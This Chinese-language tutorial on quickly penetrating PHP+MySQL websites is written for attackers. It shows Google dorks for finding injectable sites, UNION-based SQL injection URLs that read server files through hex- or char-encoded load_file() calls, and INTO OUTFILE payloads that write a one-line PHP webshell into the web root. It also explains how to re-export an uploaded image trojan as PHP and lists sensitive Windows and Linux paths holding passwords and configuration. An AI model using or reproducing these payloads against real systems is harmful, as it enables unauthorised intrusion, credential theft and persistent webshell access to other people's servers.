天天看點

php+mysql快速滲透

1)如何快速尋找站點注入漏洞?

2)PHP+MYSQL資料庫下快速尋找WEB站點路徑? 

3)MYSQL LOAD FILE()下讀取檔案?

3)MYSQL INTO OUTFILE下寫入PHPSHELL?

簡單介紹Mysql注入中用到的一些函數的作用,利用它們可以判斷目前使用者權限(Root為最高,相當于MSSQL中的SA)、資料庫版本、資料庫路徑、讀取敏感檔案、網站目錄路徑等等。

1:system_user() 系統使用者名

2:user()        使用者名

3:current_user  目前使用者名

4:session_user()連接配接資料庫的使用者名

5:database()    資料庫名

6:version()     MYSQL資料庫版本

7:load_file()   MYSQL讀取本地檔案的函數

8:@@datadir     讀取資料庫路徑

9:@@basedir    MYSQL 安裝路徑

10:@@version_compile_os   作業系統  Windows Server 2003,

1)如何快速尋找注入漏洞?

啊D+GOOGLE 輸入:site:123.com inurl:php?

2)PHP+MYSQL資料庫下快速尋找WEB站點路徑?

查找:WEB路徑技巧:

GOOGLE 輸入 site:123.com warning:    通過GOOGLE 查找站點資料庫出錯緩存.

3)MYSQL LOAD FILE()下讀取檔案?

※load_file()函數的應用。

and (select count(*) from mysql.user)>0/* 如果結果傳回正常,說明具有讀寫權限。

使用時先将要讀取的路徑轉換為16進制或10進制再替換到前面傳回的字段

例如替換的到字段4 :

http://www.123.com/123.php?id=123 union select 1,2,3,load_file(c:\boot.ini),5,6,7,8,9,10,7/*load_file(c:\boot.ini)  這裡的寫法是錯誤的,因為沒有将路徑轉換。

下面的寫法才是正确的

轉成16進制

http://www.123.com/123.php?id=123 union select 1,2,3,load_file(0x633A5C626F6F742E696E69),5,6,7,8,9,10,7/*

或10進制

http://www.123.com/123.php?id=123 union select 1,2,3,load_file(char(99,58,92,98,111,111,116,46,105,110,105)),5,6,7,8,9,10,7/*

說明:使用load_file()函數讀取時,不能直接這樣執行 load_file(c:\boot.ini) ,如果這樣執行是無法回顯,是以隻能把路徑轉為16進制,直接送出資料庫或把路徑轉為10進制,用char()函數還原回ASCII。

例如:

将c:\boot.ini,轉換為16進制就是:"0x633A5C626F6F742E696E69",使用就是将 load_file(0x633A5C626F6F742E696E69)替換到前面傳回的字段。就能讀取出c:\boot.ini的内容(當然前提是系統在C槽下)

将c:\boot.ini轉換為10進制是:"99 58 92 98 111 111 116 46 105 110 105"。需要使用char()來轉換,轉換前在記事本裡把這段10進制代碼之間的空格用“ ,”替換(注意英文狀态下的逗号), 即:load_file(char(99,58,92,98,111,111,116,46,105,110,105))。注意不要少了擴号。

3)MYSQL INTO OUTFILE下寫入PHPSHELL?

※into outfile的進階應用

要使用into outfile将一句話代碼寫到web目錄取得WEBSHELL 

需要滿足3大先天條件

1.知道實體路徑(into outfile '實體路徑') 這樣才能寫對目錄

2.能夠使用union (也就是說需要MYSQL3以上的版本)

3.對方沒有對’進行過濾(因為outfile 後面的 '' 不可以用其他函數代替轉換)

4就是MYSQL 使用者擁有file_priv權限(不然就不能寫檔案 或者把檔案内容讀出)

5.windows系統下一般都有讀寫權限,LINUX/UNIX下一般都是rwxr-xr-x 也就是說組跟其他使用者都沒有權限寫入操作。

但環境滿足以上條件那麼我們可以寫一句話代碼進去。

例如:

http://www.123.com/123.php?id=123 union select 1,2,3,char(這裡寫入你轉換成10進制或16進制的一句話木馬代碼),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*

還有一個辦法是假如網站可以上傳圖檔,可以将木馬改成圖檔的格式上傳,找出圖檔的絕對路徑在通過into outfile導出為PHP檔案。

代碼:

http://www.123.com/123.php?id=123 union select 1,2,3,load_file(d:\web\logo123.jpg),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*

d:\web\90team.php 是網站絕對路徑。

附:

收集的一些路徑:

WINDOWS下:

c:/boot.ini          //檢視系統版本

c:/windows/php.ini   //php配置資訊

c:/windows/my.ini    //MYSQL配置檔案,記錄管理者登陸過的MYSQL使用者名和密碼

c:/winnt/php.ini    

c:/winnt/my.ini

c:\mysql\data\mysql\user.MYD  //存儲了mysql.user表中的資料庫連接配接密碼

c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存儲了虛拟主機網站路徑和密碼

c:\Program Files\Serv-U\ServUDaemon.ini

c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置檔案

c:\windows\repair\sam  //存儲了WINDOWS系統初次安裝的密碼

c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理者密碼存儲于此

c:\Program Files\RhinoSoft.com\ServUDaemon.exe

C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif檔案

//存儲了pcAnywhere的登陸密碼

c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //檢視     WINDOWS系統apache檔案

c:/Resin-3.0.14/conf/resin.conf   //檢視jsp開發的網站 resin檔案配置資訊.

c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 檢視linux系統配置的JSP虛拟主機

d:\APACHE\Apache2\conf\httpd.conf

C:\Program Files\mysql\my.ini

c:\windows\system32\inetsrv\MetaBase.xml 檢視IIS的虛拟主機配置

C:\mysql\data\mysql\user.MYD 存在MYSQL系統中的使用者密碼

LUNIX/UNIX下:

/usr/local/app/apache2/conf/httpd.conf //apache2預設配置檔案

/usr/local/apache2/conf/httpd.conf

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛拟網站設定

/usr/local/app/php5/lib/php.ini //PHP相關設定

/etc/sysconfig/iptables //從中得到防火牆規則政策

/etc/httpd/conf/httpd.conf // apache配置檔案

/etc/rsyncd.conf //同步程式配置檔案

/etc/my.cnf //mysql的配置檔案

/etc/redhat-release //系統版本

/etc/issue

/etc/issue.net

/usr/local/app/php5/lib/php.ini //PHP相關設定

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛拟網站設定

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 檢視linux APACHE虛拟主機配置檔案

/usr/local/resin-3.0.22/conf/resin.conf  針對3.0.22的RESIN配置檔案檢視

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虛拟主機檢視

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 檢視linux APACHE虛拟主機配置檔案

/usr/local/resin-3.0.22/conf/resin.conf  針對3.0.22的RESIN配置檔案檢視

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虛拟主機檢視

/etc/sysconfig/iptables 檢視防火牆政策

load_file(char(47)) 可以列出FreeBSD,Sunos系統根目錄

replace(load_file(0x2F6574632F706173737764),0x3c,0x20)

replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

上面兩個是檢視一個PHP檔案裡完全顯示代碼.有些時候不替換一些字元,如 "<" 替換成"空格" 傳回的是網頁.而無法檢視到代碼.